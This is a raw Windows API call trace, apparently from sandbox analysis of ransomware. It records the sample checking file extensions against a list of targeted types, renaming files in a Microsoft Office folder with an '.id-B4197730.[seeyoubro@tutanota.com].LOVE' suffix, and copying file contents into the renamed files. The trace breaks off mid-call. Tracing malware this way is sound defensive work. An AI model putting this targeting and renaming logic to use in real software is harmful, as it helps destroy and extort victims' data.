[0209.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.579] lstrlenW (lpString=".doc") returned 4 [0209.579] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.579] lstrlenW (lpString=".docx") returned 5 [0209.579] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.579] lstrlenW (lpString=".pdf") returned 4 [0209.579] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.579] lstrlenW (lpString=".xls") returned 4 [0209.579] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.579] lstrlenW (lpString=".xlsx") returned 5 [0209.579] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.579] lstrlenW (lpString=".ppt") returned 4 [0209.579] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.579] lstrlenW (lpString=".zip") returned 4 [0209.579] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.579] lstrlenW (lpString=".rar") returned 4 [0209.579] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.579] lstrlenW (lpString=".bz2") returned 4 [0209.579] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.579] lstrlenW (lpString=".7z") returned 3 [0209.579] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.579] lstrlenW (lpString=".dbf") returned 4 [0209.579] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.579] lstrlenW (lpString=".1cd") returned 4 [0209.579] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.579] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.580] lstrlenW (lpString=".jpg") returned 4 [0209.580] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.580] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.580] lstrlenW (lpString=".doc") returned 4 [0209.580] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.580] lstrlenW (lpString=".docx") returned 5 [0209.580] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0209.580] lstrlenW (lpString=".pdf") returned 4 [0209.580] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.610] lstrlenW (lpString=".xls") returned 4 [0209.610] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.610] lstrlenW (lpString=".xlsx") returned 5 [0209.610] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0209.610] lstrlenW (lpString=".ppt") returned 4 [0209.610] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.610] lstrlenW (lpString=".zip") returned 4 [0209.610] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.610] lstrlenW (lpString=".rar") returned 4 [0209.610] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.610] lstrlenW (lpString=".bz2") returned 4 [0209.610] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.610] lstrlenW (lpString=".7z") returned 3 [0209.610] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.610] lstrlenW (lpString=".dbf") returned 4 [0209.610] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.610] lstrlenW (lpString=".1cd") returned 4 [0209.610] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.610] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88 [0209.610] lstrlenW (lpString=".jpg") returned 4 [0209.610] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.611] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.611] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26 [0209.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.611] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=307416) returned 1 [0209.611] CloseHandle (hObject=0x37c) returned 1 [0209.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20 [0209.611] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.611] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.612] lstrlenW (lpString=".doc") returned 4 [0209.612] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.612] lstrlenW (lpString=".docx") returned 5 [0209.612] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0209.612] lstrlenW (lpString=".pdf") returned 4 [0209.612] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.612] lstrlenW (lpString=".xls") returned 4 [0209.612] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.612] lstrlenW (lpString=".xlsx") returned 5 [0209.612] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0209.612] lstrlenW (lpString=".ppt") returned 4 [0209.612] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.612] lstrlenW (lpString=".zip") returned 4 [0209.612] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.612] lstrlenW (lpString=".rar") returned 4 [0209.612] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.612] lstrlenW (lpString=".bz2") returned 4 [0209.612] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.612] lstrlenW (lpString=".7z") returned 3 [0209.612] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.612] lstrlenW (lpString=".dbf") returned 4 [0209.612] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.612] lstrlenW (lpString=".1cd") returned 4 [0209.612] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.612] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.612] lstrlenW (lpString=".jpg") returned 4 [0209.612] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.613] lstrlenW (lpString=".doc") returned 4 [0209.613] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.613] lstrlenW (lpString=".docx") returned 5 [0209.613] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1 [0209.613] lstrlenW (lpString=".pdf") returned 4 [0209.613] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.613] lstrlenW (lpString=".xls") returned 4 [0209.613] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.613] lstrlenW (lpString=".xlsx") returned 5 [0209.613] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1 [0209.613] lstrlenW (lpString=".ppt") returned 4 [0209.613] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.613] lstrlenW (lpString=".zip") returned 4 [0209.613] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.613] lstrlenW (lpString=".rar") returned 4 [0209.613] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.613] lstrlenW (lpString=".bz2") returned 4 [0209.613] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.613] lstrlenW (lpString=".7z") returned 3 [0209.613] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.613] lstrlenW (lpString=".dbf") returned 4 [0209.613] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.613] lstrlenW (lpString=".1cd") returned 4 [0209.613] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84 [0209.614] lstrlenW (lpString=".jpg") returned 4 [0209.614] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.614] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.614] lstrlenW (lpString="AppVIntegration.dll") returned 19 [0209.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.614] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=2118360) returned 1 [0209.614] CloseHandle (hObject=0x37c) returned 1 [0209.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20 [0209.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.614] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 1 [0209.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.615] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0209.616] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seeyoubro@tutanota.com].love"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0209.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.616] lstrlenW (lpString=".doc") returned 4 [0209.616] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.616] lstrlenW (lpString=".docx") returned 5 [0209.616] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0209.616] lstrlenW (lpString=".pdf") returned 4 [0209.616] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.616] lstrlenW (lpString=".xls") returned 4 [0209.616] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.616] lstrlenW (lpString=".xlsx") returned 5 [0209.616] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0209.616] lstrlenW (lpString=".ppt") returned 4 [0209.616] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.616] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.616] lstrlenW (lpString=".zip") returned 4 [0209.616] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.616] lstrlenW (lpString=".rar") returned 4 [0209.617] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.617] lstrlenW (lpString=".bz2") returned 4 [0209.617] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.617] lstrlenW (lpString=".7z") returned 3 [0209.617] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.617] lstrlenW (lpString=".dbf") returned 4 [0209.617] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.617] lstrlenW (lpString=".1cd") returned 4 [0209.617] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.617] lstrlenW (lpString=".jpg") returned 4 [0209.617] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.617] lstrlenW (lpString=".doc") returned 4 [0209.617] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.617] lstrlenW (lpString=".docx") returned 5 [0209.617] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0209.617] lstrlenW (lpString=".pdf") returned 4 [0209.617] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.617] lstrlenW (lpString=".xls") returned 4 [0209.617] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.617] lstrlenW (lpString=".xlsx") returned 5 [0209.617] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0209.617] lstrlenW (lpString=".ppt") returned 4 [0209.617] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.617] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.617] lstrlenW (lpString=".zip") returned 4 [0209.617] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.617] lstrlenW (lpString=".rar") returned 4 [0209.617] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.617] lstrlenW (lpString=".bz2") returned 4 [0209.618] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.618] lstrlenW (lpString=".7z") returned 3 [0209.618] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.618] lstrlenW (lpString=".dbf") returned 4 [0209.618] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.618] lstrlenW (lpString=".1cd") returned 4 [0209.618] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.618] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77 [0209.618] lstrlenW (lpString=".jpg") returned 4 [0209.618] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.618] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.618] lstrlenW (lpString="AppVIsvApi.dll") returned 14 [0209.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.618] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=468696) returned 1 [0209.618] CloseHandle (hObject=0x37c) returned 1 [0209.618] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20 [0209.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.619] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0209.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.619] lstrlenW (lpString=".doc") returned 4 [0209.619] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.619] lstrlenW (lpString=".docx") returned 5 [0209.619] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0209.619] lstrlenW (lpString=".pdf") returned 4 [0209.619] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.619] lstrlenW (lpString=".xls") returned 4 [0209.619] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.619] lstrlenW (lpString=".xlsx") returned 5 [0209.619] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0209.619] lstrlenW (lpString=".ppt") returned 4 [0209.619] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.619] lstrlenW (lpString=".zip") returned 4 [0209.619] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.619] lstrlenW (lpString=".rar") returned 4 [0209.619] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.619] lstrlenW (lpString=".bz2") returned 4 [0209.619] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.619] lstrlenW (lpString=".7z") returned 3 [0209.619] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.619] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.619] lstrlenW (lpString=".dbf") returned 4 [0209.620] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.620] lstrlenW (lpString=".1cd") returned 4 [0209.620] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.620] lstrlenW (lpString=".jpg") returned 4 [0209.620] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.620] lstrlenW (lpString=".doc") returned 4 [0209.620] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0209.620] lstrlenW (lpString=".docx") returned 5 [0209.620] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1 [0209.620] lstrlenW (lpString=".pdf") returned 4 [0209.620] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0209.620] lstrlenW (lpString=".xls") returned 4 [0209.620] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0209.620] lstrlenW (lpString=".xlsx") returned 5 [0209.620] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1 [0209.620] lstrlenW (lpString=".ppt") returned 4 [0209.620] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0209.620] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.620] lstrlenW (lpString=".zip") returned 4 [0209.620] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0209.620] lstrlenW (lpString=".rar") returned 4 [0209.620] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0209.620] lstrlenW (lpString=".bz2") returned 4 [0209.620] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0209.620] lstrlenW (lpString=".7z") returned 3 [0209.621] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0209.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.621] lstrlenW (lpString=".dbf") returned 4 [0209.621] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0209.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.621] lstrlenW (lpString=".1cd") returned 4 [0209.621] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0209.621] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72 [0209.621] lstrlenW (lpString=".jpg") returned 4 [0209.621] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0209.621] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0209.621] lstrlenW (lpString="AppvIsvStream32.dll") returned 19 [0209.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.683] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=396960) returned 1 [0209.683] CloseHandle (hObject=0x348) returned 1 [0209.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20 [0209.683] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0209.683] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0209.683] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.683] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.684] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0209.684] GetLastError () returned 0x0 [0209.684] ReadFile (in: hFile=0x348, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x60ea0, lpOverlapped=0x0) returned 1 [0209.691] WriteFile (in: hFile=0x37c, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x60eb0, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x60eb0, 